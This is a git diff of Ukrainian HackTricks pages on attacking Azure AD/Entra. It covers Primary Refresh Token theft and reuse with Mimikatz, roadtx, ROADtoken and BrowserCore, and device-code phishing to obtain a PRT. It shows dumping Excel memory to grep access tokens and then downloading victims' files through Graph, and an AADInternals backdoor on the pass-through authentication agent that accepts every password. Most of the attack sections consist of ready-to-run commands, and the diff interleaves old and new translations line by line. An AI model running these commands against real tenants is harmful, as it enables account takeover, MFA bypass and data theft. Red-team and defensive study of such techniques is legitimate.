Це отримує свіжий PRT cookie (з nonce) і потім використовує його для отримання токена доступу для Azure AD Graph API (демонструючи доступ до хмари від імені користувача). AADInternals абстрагує більшість криптографії та використовує компоненти Windows або свою власну логіку під капотом.
|
||||
|
||||
### Mimikatz + roadtx
|
||||
|
||||
- Спочатку оновіть PRT, що зберігає його в `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Тепер ми можемо **запитувати токени** за допомогою інтерактивного браузера з `roadtx browserprtauth`. Якщо ми використаємо команду `roadtx describe`, ми побачимо, що токен доступу містить вимогу MFA, оскільки PRT, який я використав у цьому випадку, також мав вимогу MFA.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
Маючи контекст і витягнутий ключ, отриманий за допомогою mimikatz, можна використовувати roadrecon для генерації нового підписаного cookie з:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Зловживання захищеними PRT
|
||||
|
||||
Незважаючи на згадані захисти, зловмисник, який вже скомпрометував пристрій (як локальний користувач або навіть SYSTEM), все ще може **зловживати PRT для отримання нових токенів доступу**, використовуючи власні API токенів Windows та компоненти безпеки. Замість того, щоб **екстрагувати** сирий PRT або ключ, зловмисник фактично **"просить" Windows використовувати PRT від їх імені**. У наступних розділах ми окреслюємо наразі дійсні техніки для зловживання PRT та їх сесійними ключами на актуальних пристроях Windows, де діють захисти TPM. Усі ці техніки припускають доступ після експлуатації на цільовій машині та **зосереджуються на зловживанні вбудованими аутентифікаційними потоками** (не потрібні непатчовані вразливості).
|
||||
Незважаючи на згадані захисти, зловмисник, який вже скомпрометував пристрій (як локальний користувач або навіть SYSTEM), все ще може **зловживати PRT для отримання нових токенів доступу**, використовуючи власні API брокера токенів і компоненти безпеки Windows. Замість **екстракції** сирого PRT або ключа, зловмисник фактично **"просить" Windows використовувати PRT від їхнього імені**. У наступних розділах ми окреслюємо актуальні техніки зловживання PRT та їхніми сесійними ключами на сучасних пристроях Windows, де діють захисти TPM. Усі ці техніки передбачають доступ після експлуатації на цільовій машині та **зосереджуються на зловживанні вбудованими потоками аутентифікації** (не потрібні непатчовані вразливості).
|
||||
|
||||
### Архітектура Windows Token Broker та потік SSO
|
||||
### Архітектура брокера токенів Windows та потік SSO
|
||||
|
||||
Сучасний Windows обробляє хмарну аутентифікацію через вбудовану **архітектуру токенів брокера**, яка включає компоненти як в режимі користувача, так і в LSASS (Local Security Authority). Ключові елементи цієї архітектури включають:
|
||||
Сучасний Windows обробляє хмарну аутентифікацію через вбудований стек **брокера токенів**, який включає компоненти як в режимі користувача, так і в LSASS (Локальний орган безпеки). Ключові елементи цієї архітектури включають:
|
||||
|
||||
- **Плагін CloudAP LSASS:** Коли пристрій приєднано до Azure AD, LSASS завантажує пакети хмарної аутентифікації (наприклад, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), які керують PRT та запитами токенів. LSASS (який працює як SYSTEM) організовує зберігання, оновлення та використання PRT, а також взаємодіє з TPM для виконання криптографічних операцій (наприклад, підписання виклику PRT за допомогою сесійного ключа).
|
||||
- **Плагін CloudAP LSASS:** Коли пристрій приєднано до Azure AD, LSASS завантажує пакети аутентифікації в хмарі (наприклад, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`), які керують PRT та запитами токенів. LSASS (який працює як SYSTEM) організовує зберігання, оновлення та використання PRT, а також взаємодіє з TPM для виконання криптографічних операцій (наприклад, підписання виклику PRT за допомогою сесійного ключа).
|
||||
|
||||
- **Менеджер веб-облікових записів (WAM):** Менеджер веб-облікових записів Windows є фреймворком режиму користувача (доступним через COM/WinRT API), який дозволяє додаткам або браузерам запитувати токени для хмарних облікових записів без запиту облікових даних. WAM діє як брокер між користувацькими додатками та безпечним PRT, підтримуваним LSASS/TPM. Наприклад, бібліотека MSAL від Microsoft та певні компоненти ОС використовують WAM для безшумного отримання токенів, використовуючи PRT увійшовшого користувача.
|
||||
- **Менеджер облікових записів вебу (WAM):** Менеджер облікових записів вебу Windows є фреймворком режиму користувача (доступним через API COM/WinRT), який дозволяє додаткам або браузерам запитувати токени для хмарних облікових записів без запиту облікових даних. WAM діє як брокер між користувацькими додатками та захищеним PRT, підтримуваним LSASS/TPM. Наприклад, бібліотека MSAL від Microsoft та певні компоненти ОС використовують WAM для безшумного отримання токенів, використовуючи PRT увійшовшого користувача.
|
||||
|
||||
- **BrowserCore.exe та інтерфейси COM токенів брокера:** Для SSO в браузері Windows включає компонент під назвою **BrowserCore.exe** (розташований у *Windows Security\BrowserCore*). Це рідний хост повідомлень, який використовують браузери (Edge, Chrome через розширення тощо) для отримання токена SSO, похідного від PRT, для входу в Azure AD. Під капотом BrowserCore використовує об'єкт COM, наданий `MicrosoftAccountTokenProvider.dll`, для отримання cookie/token на основі PRT. По суті, цей інтерфейс COM є API "токен брокера" першої сторони, до якого будь-який процес, що працює як користувач, може звернутися для отримання токена SSO (за умови, що у користувача є дійсний PRT в LSASS).
|
||||
- **BrowserCore.exe та інтерфейси COM брокера токенів:** Для SSO в браузері Windows включає компонент під назвою **BrowserCore.exe** (розташований у *Windows Security\BrowserCore*). Це рідний хост повідомлень, який використовують браузери (Edge, Chrome через розширення тощо) для отримання токена SSO, похідного від PRT, для входу в Azure AD. У фоновому режимі BrowserCore використовує об'єкт COM, наданий `MicrosoftAccountTokenProvider.dll`, для отримання cookie/token на основі PRT. По суті, цей інтерфейс COM є API "брокера токенів" першої сторони, до якого може звертатися будь-який процес, що працює як користувач, щоб отримати токен SSO (за умови, що у користувача є дійсний PRT у LSASS).
|
||||
|
||||
Коли користувач, приєднаний до Azure AD, намагається отримати доступ до ресурсу (скажімо, Azure Portal), потік зазвичай виглядає так: додаток викликає WAM або інтерфейс COM BrowserCore, який, у свою чергу, взаємодіє з LSASS. LSASS використовує PRT та сесійний ключ (захищений TPM) для створення **SSO токена** -- часто називається **PRT cookie** -- який потім повертається додатку або браузеру. PRT cookie є спеціальним JWT, що містить зашифрований PRT та nonce, підписаний ключем, отриманим з сесійного ключа PRT. Цей cookie надсилається до Azure AD (в заголовку `x-ms-RefreshTokenCredential`), щоб підтвердити, що пристрій та користувач мають дійсний PRT, що дозволяє Azure AD видавати стандартні токени оновлення та доступу OAuth для різних додатків. Важливо, що будь-яке твердження про багатофакторну аутентифікацію (MFA), присутнє в PRT, буде перенесено в токени, отримані через цей процес SSO, що означає, що токени, похідні від PRT, можуть задовольняти ресурси, захищені MFA.
|
||||
Коли користувач, приєднаний до Azure AD, намагається отримати доступ до ресурсу (скажімо, Azure Portal), потік зазвичай виглядає так: додаток викликає WAM або інтерфейс COM BrowserCore, який, у свою чергу, взаємодіє з LSASS. LSASS використовує PRT та сесійний ключ (захищений TPM) для створення **токена SSO** -- часто називається **cookie PRT** -- який потім повертається додатку або браузеру. Cookie PRT є спеціальним JWT, що містить зашифрований PRT та nonce, підписаний ключем, отриманим з сесійного ключа PRT. Цей cookie надсилається до Azure AD (в заголовку `x-ms-RefreshTokenCredential`), щоб підтвердити, що пристрій і користувач мають дійсний PRT, що дозволяє Azure AD видавати стандартні токени оновлення та доступу OAuth для різних додатків. Важливо, що будь-яке твердження про багатофакторну аутентифікацію (MFA), присутнє в PRT, буде перенесено в токени, отримані через цей процес SSO, що означає, що токени, похідні від PRT, можуть задовольняти ресурси, захищені MFA.
|
||||
|
||||
### Крадіжка токенів на рівні користувача (не адміністратор)
|
||||
|
||||
Коли зловмисник має **виконання коду на рівні користувача**, захист TPM PRT не заважає зловмиснику отримувати токени. Зловмисник **використовує вбудовані API токенів брокера Windows**:
|
||||
Коли зловмисник має **виконання коду на рівні користувача**, захист TPM PRT не заважає зловмиснику отримувати токени. Зловмисник **використовує вбудовані API брокера токенів Windows**:
|
||||
|
||||
#### **BrowserCore (MicrosoftAccountTokenProvider COM)**
|
||||
|
||||
BrowserCore надає клас COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) для отримання PRT cookie. Цей API COM легітимно викликається браузерами (розширеннями Chrome/Edge) для SSO Azure AD.
|
||||
BrowserCore надає клас COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) для отримання cookie PRT. Цей API COM легітимно викликається браузерами (розширеннями Chrome/Edge) для SSO Azure AD.
|
||||
|
||||
- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
|
||||
```bash
|
||||
@@ -159,14 +188,47 @@ RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
|
||||
*(Повертає токен оновлення Azure AD або cookie PRT)*
|
||||
|
||||
- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
|
||||
|
||||
ROADtoken запустить **`BrowserCore.exe`** з правильного каталогу і використає його для **отримання cookie PRT**. Цю cookie можна потім використовувати з ROADtools для автентифікації та **отримання постійного токена оновлення**.
|
||||
|
||||
Щоб згенерувати дійсну cookie PRT, перше, що вам потрібно, це nonce.\
|
||||
Ви можете отримати це за допомогою:
|
||||
```bash
|
||||
ROADtoken.exe --nonce <nonce-value>
|
||||
roadrecon auth --prt-cookie <cookie>
|
||||
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
|
||||
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
|
||||
|
||||
$Params = @{
|
||||
"URI" = $URL
|
||||
"Method" = "POST"
|
||||
}
|
||||
$Body = @{
|
||||
"grant_type" = "srv_challenge"
|
||||
}
|
||||
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
|
||||
$Result.Nonce
|
||||
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
|
||||
```
|
||||
*(Генерує nonce, викликає BrowserCore для отримання PRT cookie, а потім викуповує його за допомогою ROADtools)*
|
||||
Або використовуючи [**roadrecon**](https://github.com/dirkjanm/ROADtools):
|
||||
```bash
|
||||
roadrecon auth prt-init
|
||||
```
|
||||
Тоді ви можете використовувати [**roadtoken**](https://github.com/dirkjanm/ROADtoken), щоб отримати новий PRT (запустіть інструмент з процесу користувача для атаки):
|
||||
```bash
|
||||
.\ROADtoken.exe <nonce>
|
||||
```
|
||||
Як однорядковий:
|
||||
```bash
|
||||
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
|
||||
```
|
||||
Тоді ви можете використовувати **згенерований cookie** для **генерації токенів** для **входу** за допомогою Azure AD **Graph** або Microsoft Graph:
|
||||
```bash
|
||||
# Generate
|
||||
roadrecon auth --prt-cookie <prt_cookie>
|
||||
|
||||
|
||||
### **API менеджера веб-акаунтів (WAM)**
|
||||
# Connect
|
||||
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
|
||||
```
|
||||
### **Web Account Manager (WAM) APIs**
|
||||
|
||||
Зловмисники використовують легітимні бібліотеки аутентифікації Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) з процесів на рівні користувача для тихого отримання токенів, використовуючи PRT, захищений TPM.
|
||||
|
||||
@@ -193,38 +255,38 @@ $result.AccessToken
|
||||
|
||||
#### Зловживання токеном на рівні адміністратора / SYSTEM
|
||||
|
||||
Якщо зловмисник підвищує свої привілеї до **Administrator або SYSTEM**, він може безпосередньо видавати себе за будь-якого користувача, що увійшов в Azure AD, і використовувати ті ж **COM/WAM token broker APIs**. PRT, захищені TPM, не запобігають цьому законному випуску токенів.
|
||||
Якщо зловмисник підвищує свої привілеї до **Адміністратора або SYSTEM**, він може безпосередньо видавати себе за будь-якого користувача, що увійшов в Azure AD, і використовувати ті ж **API токенів COM/WAM**. PRT, захищені TPM, не запобігають цьому законному випуску токенів.
|
||||
|
||||
### **Видача себе за користувача та отримання токена**
|
||||
### **Імітація користувача та отримання токена**
|
||||
|
||||
Admin/SYSTEM може видавати себе за активні сесії інших користувачів, щоб викликати BrowserCore або WAM для генерації токенів.
|
||||
Адміністратор/SYSTEM може імітувати запущені сесії інших користувачів, щоб викликати BrowserCore або WAM для генерації токенів.
|
||||
|
||||
Для цього просто видайте себе за процес користувача (наприклад, `explorer.exe`) і викликайте API токен-брокера, використовуючи будь-яку техніку, прокоментовану в попередньому розділі.
|
||||
Для цього просто імітуйте процес користувача (наприклад, `explorer.exe`) і викликайте API токенів, використовуючи будь-яку техніку, коментовану в попередньому розділі.
|
||||
|
||||
### **Пряме взаємодія з LSASS та токен-брокером (просунуто)**
|
||||
### **Пряме взаємодія з LSASS та токеном брокера (просунуто)**
|
||||
|
||||
Адміністратор все ще може працювати з LSASS, щоб зловживати PRT: наприклад, адміністратор може впровадити код у LSASS або викликати внутрішні функції CloudAP, щоб змусити LSASS створити токен. Дослідження Дірка-Яна зазначило, що адміністратор може "взаємодіяти з ключами PRT у LSASS, використовуючи крипто API". На практиці це може означати використання власних функцій LSASS (через техніку, таку як API hooking або RPC, якщо доступно) для генерації cookie PRT. Інший підхід полягає в експлуатації будь-якого вікна, де сесійний ключ може з'явитися в пам'яті – наприклад, в момент оновлення PRT або реєстрації пристрою, коли він не зашифрований для використання. Такі атаки значно складніші та ситуаційні. Простішою тактикою адміністратора є зловживання існуючими дескрипторами токенів або кешами: LSASS кешує нещодавно видані токени оновлення для додатків у пам'яті (зашифровані за допомогою DPAPI). Визначений зловмисник SYSTEM може спробувати витягти ці токени, захищені DPAPI (використовуючи майстер-ключ користувача, який може отримати адміністратор), щоб безпосередньо вкрасти токени оновлення для конкретних додатків. Однак найпростіший і найбільш загальний метод залишається видачею себе за користувача та використанням задокументованих інтерфейсів токен-брокера, оскільки це гарантує, що Azure AD видасть свіжі токени (з усіма належними вимогами), а не намагатися зламати шифрування.
|
||||
Адміністратор все ще може працювати з LSASS, щоб зловживати PRT: наприклад, адміністратор може впровадити код у LSASS або викликати внутрішні функції CloudAP, щоб змусити LSASS створити токен. Дослідження Дірка-Яна зазначило, що адміністратор може “взаємодіяти з ключами PRT у LSASS, використовуючи крипто API”. На практиці це може означати використання власних функцій LSASS (через техніку, таку як API hooking або RPC, якщо доступно) для генерації cookie PRT. Інший підхід полягає в експлуатації будь-якого вікна, де ключ сесії може з'явитися в пам'яті – наприклад, в момент оновлення PRT або реєстрації пристрою, коли він не зашифрований для використання. Такі атаки значно складніші та ситуативні. Простішою тактикою адміністратора є зловживання існуючими дескрипторами токенів або кешами: LSASS кешує нещодавно видані токени оновлення для додатків у пам'яті (зашифровані за допомогою DPAPI). Визначений зловмисник SYSTEM може спробувати витягти ці токени, захищені DPAPI (використовуючи майстер-ключ користувача, який може отримати адміністратор), щоб безпосередньо вкрасти токени оновлення для конкретних додатків. Однак найпростіший і найбільш загальний метод залишається імітацією та використанням задокументованих інтерфейсів токенів брокера, оскільки це гарантує, що Azure AD видасть свіжі токени (з усіма належними вимогами), а не намагатиметься зламати шифрування.
|
||||
|
||||
## Фішинг PRT
|
||||
|
||||
Зловживайте **OAuth Device Code** потоком, використовуючи **Microsoft Authentication Broker client ID** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) та ресурс **Device Registration Service (DRS)**, щоб отримати **токен оновлення, який можна оновити до Primary Refresh Token (PRT)** після реєстрації **шкідливого пристрою**.
|
||||
Зловживайте потоком **OAuth Device Code**, використовуючи **ідентифікатор клієнта Microsoft Authentication Broker** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) та ресурс **Device Registration Service (DRS)**, щоб отримати **токен оновлення, який можна оновити до первинного токена оновлення (PRT)** після реєстрації **шкідливого пристрою**.
|
||||
|
||||
### **Чому це працює**
|
||||
|
||||
- **PRT** є **прив'язаним до пристрою** і дозволяє **SSO для (майже) будь-якого додатку, захищеного Entra**.
|
||||
- **PRT** є **прив'язаним до пристрою** і забезпечує **SSO для (майже) будь-якого додатку, захищеного Entra**.
|
||||
- Комбінація **Broker client + DRS** дозволяє фішинговому **токену оновлення** бути **обміняним на PRT** після реєстрації пристрою.
|
||||
- **MFA не обходиться**: **користувач виконує MFA** під час фішингу; **вимоги MFA поширюються** на отриманий PRT, дозволяючи зловмиснику отримувати доступ до додатків **без подальших запитів**.
|
||||
|
||||
**Передумови**:
|
||||
|
||||
- **Аутентифікація користувача через Device Code** з використанням **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) та **DRS scopes/resource** (наприклад, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** або **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Аутентифікація користувача через Device Code** з використанням **ідентифікатора клієнта Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) та **областей/ресурсів DRS** (наприклад, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** або **`https://enrollment.manage.microsoft.com/`**).
|
||||
- **Користувач може реєструвати пристрої** в Entra ID (**за замовчуванням: дозволено**, але може бути обмежено або обмежено квотою).
|
||||
- **Відсутність блокуючих політик CA**, які **відключають Device Code** або **вимагають відповідні/гібридні пристрої** для цільових додатків (вони не зупинять випуск PRT, але **зупинять** **використання** його для доступу до захищених додатків).
|
||||
- **Відсутність блокуючих політик CA**, які **відключають Device Code** або **вимагають відповідні/гібридні пристрої** для цільових додатків (вони не зупинять випуск PRT, але **заблокують** **використання** його для доступу до захищених додатків).
|
||||
- **Хост, контрольований зловмисником**, для запуску потоку та зберігання токенів/ключів пристроїв.
|
||||
|
||||
**Потік атаки**:
|
||||
|
||||
1. **Ініціюйте аутентифікацію Device Code** з **client_id = Broker** та **DRS scope/resource**; покажіть **код користувача** жертві.
|
||||
1. **Ініціюйте аутентифікацію Device Code** з **client_id = Broker** та **областю/ресурсом DRS**; покажіть **код користувача** жертві.
|
||||
```bash
|
||||
curl -s -X POST \
|
||||
"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
|
||||
@@ -242,7 +304,7 @@ curl -s -X POST \
|
||||
6. **Зловживання**: обміняти **PRT** (або створити **PRT cookie**) для отримання **токенів доступу** для **Exchange/Graph/SharePoint/Teams/кастомних додатків** від імені користувача.
|
||||
|
||||
|
||||
### Публічні інструменти та докази концепції
|
||||
### Публічні інструменти та концепції
|
||||
|
||||
- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Автоматизує OAuth потік, реєстрацію пристроїв та оновлення токенів.
|
||||
- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Скрипт з одною командою, що автоматизує фішинг коду пристрою до PRT+WHfB ключів.
|
||||
@@ -250,7 +312,7 @@ curl -s -X POST \
|
||||
|
||||
## Посилання
|
||||
|
||||
- [Блоговий пост Діркяна про PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Блог Діркяна про PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
- [Пост Діркяна про фішинг PRT](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
- [Пост Діркяна про зловживання PRT](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
|
||||
- Пост SpecterOps про [Запит токенів Azure AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
|
||||
|
||||
@@ -1,34 +0,0 @@
|
||||
# Az - Processes Memory Access Token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Основна інформація**
|
||||
|
||||
Як пояснено в [**цьому відео**](https://www.youtube.com/watch?v=OHKZkXC4Duw), деяке програмне забезпечення Microsoft, синхронізоване з хмарою (Excel, Teams...), може **зберігати токени доступу у відкритому вигляді в пам'яті**. Тому просто **дампінг** **пам'яті** процесу та **grep для JWT токенів** може надати вам доступ до кількох ресурсів жертви в хмарі, обходячи MFA.
|
||||
|
||||
Кроки:
|
||||
|
||||
1. Дампуйте процеси Excel, синхронізовані з користувачем EntraID, за допомогою вашого улюбленого інструменту.
|
||||
2. Виконайте: `string excel.dmp | grep 'eyJ0'` і знайдіть кілька токенів у виході
|
||||
3. Знайдіть токени, які вас найбільше цікавлять, і запустіть над ними інструменти:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Зверніть увагу, що такі токени доступу також можуть бути знайдені всередині інших процесів.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication дозволяє вашим користувачам **увійти в якості в обидва - локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує вашим користувачам кращий досвід - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory.
|
||||
|
||||
У PTA **ідентичності** **синхронізуються**, але **паролі не** так, як у PHS.
|
||||
У PTA **ідентичності** **синхронізуються**, але **паролі не** як у PHS.
|
||||
|
||||
Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через **агента аутентифікації**, що працює на **локальному сервері** (не обов'язково на локальному DC).
|
||||
|
||||
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
|
||||
```
|
||||
## Pivoting
|
||||
|
||||
Якщо у вас є **admin** доступ до **Azure AD Connect server** з запущеним **PTA** **агентом**, ви можете використовувати модуль **AADInternals** для **вставлення бекдору**, який буде **перевіряти ВСІ паролі**, введені (так що всі паролі будуть дійсними для аутентифікації):
|
||||
Якщо у вас є **адміністраторський** доступ до **сервера Azure AD Connect** з запущеним **агентом PTA**, ви можете використовувати модуль **AADInternals** для **вставлення бекдору**, який буде **перевіряти ВСІ паролі**, введені (так що всі паролі будуть дійсними для аутентифікації):
|
||||
```bash
|
||||
Install-Module AADInternals -RequiredVersion 0.9.3
|
||||
Import-Module AADInternals
|
||||
@@ -70,7 +70,7 @@ Remove-AADIntPTASpy # Remove the backdoor
|
||||
> [!NOTE]
|
||||
> Якщо **встановлення не вдалося**, це, ймовірно, через відсутність [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).
|
||||
|
||||
Ця бекдор буде:
|
||||
Цей бекдор буде:
|
||||
|
||||
- Створити приховану папку `C:\PTASpy`
|
||||
- Скопіювати `PTASpy.dll` до `C:\PTASpy`
|
||||
@@ -1,58 +0,0 @@
|
||||
# Az AD Connect - Гібридна ідентичність
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Інтеграція між **On-premises Active Directory (AD)** та **Azure AD** здійснюється за допомогою **Azure AD Connect**, що пропонує різні методи, які підтримують **Single Sign-on (SSO)**. Кожен метод, хоча й корисний, має потенційні вразливості безпеки, які можуть бути використані для компрометації хмарних або локальних середовищ:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Можливість компрометації агента на локальному AD, що дозволяє перевірку паролів користувачів для Azure з'єднань (з локального до хмари).
|
||||
- Можливість реєстрації нового агента для перевірки автентифікацій у новому місці (з хмари до локального).
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- Потенційне витягування паролів у відкритому тексті привілейованих користувачів з AD, включаючи облікові дані високопривілейованого, автоматично згенерованого користувача AzureAD.
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- Крадіжка приватного ключа, що використовується для підпису SAML, що дозволяє видавати себе за локальні та хмарні ідентичності.
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- Крадіжка пароля користувача `AZUREADSSOACC`, що використовується для підпису квитків Kerberos silver, що дозволяє видавати себе за будь-якого хмарного користувача.
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Можливість ескалації з Global Admin до локального Domain Admin шляхом маніпуляції іменами користувачів AzureAD та SIDs і запиту TGT з AzureAD.
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Компрометація облікового запису адміністратора програми або локального облікового запису синхронізації дозволяє змінювати налаштування каталогу, членство в групах, облікові записи користувачів, сайти SharePoint та файли OneDrive.
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
Для кожного методу інтеграції проводиться синхронізація користувачів, і в локальному AD створюється обліковий запис `MSOL_<installationidentifier>`. Важливо, що методи **PHS** та **PTA** сприяють **Seamless SSO**, що дозволяє автоматичний вхід для комп'ютерів Azure AD, приєднаних до локального домену.
|
||||
|
||||
Щоб перевірити установку **Azure AD Connect**, можна використовувати наступну команду PowerShell, що використовує модуль **AzureADConnectHealthSync** (встановлений за замовчуванням з Azure AD Connect):
|
||||
```bash
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,250 +0,0 @@
|
||||
# Az - Pass the PRT
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Що таке PRT
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Перевірте, чи маєте ви PRT
|
||||
```
|
||||
Dsregcmd.exe /status
|
||||
```
|
||||
У розділі SSO State ви повинні побачити **`AzureAdPrt`**, встановлений на **YES**.
|
||||
|
||||
<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
У тому ж виході ви також можете побачити, чи **пристрій приєднано до Azure** (у полі `AzureAdJoined`):
|
||||
|
||||
<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## PRT Cookie
|
||||
|
||||
PRT cookie насправді називається **`x-ms-RefreshTokenCredential`** і це JSON Web Token (JWT). JWT містить **3 частини**, **заголовок**, **вантаж** і **підпис**, розділені `.` і всі кодуються в base64, безпечному для URL. Типовий PRT cookie містить наступний заголовок і тіло:
|
||||
```json
|
||||
{
|
||||
"alg": "HS256",
|
||||
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
|
||||
}
|
||||
{
|
||||
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
|
||||
"is_primary": "true",
|
||||
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
|
||||
}
|
||||
```
|
||||
Актуальний **Primary Refresh Token (PRT)** інкапсульований у **`refresh_token`**, який зашифрований ключем під контролем Azure AD, що робить його вміст непрозорим і нездешифровуваним для нас. Поле **`is_primary`** позначає інкапсуляцію первинного токена оновлення в цьому токені. Щоб забезпечити прив'язку куки до конкретної сесії входу, `request_nonce` передається зі сторінки `logon.microsoftonline.com`.
|
||||
|
||||
### Потік куки PRT з використанням TPM
|
||||
|
||||
Процес **LSASS** надішле до TPM **KDF context**, а TPM використає **session key** (зібраний під час реєстрації пристрою в AzureAD і збережений у TPM) та попередній контекст для **виведення** **ключа**, і цей **виведений ключ** використовується для **підписання куки PRT (JWT).**
|
||||
|
||||
**KDF context** - це nonce з AzureAD та PRT, що створює **JWT**, змішаний з **контекстом** (випадкові байти).
|
||||
|
||||
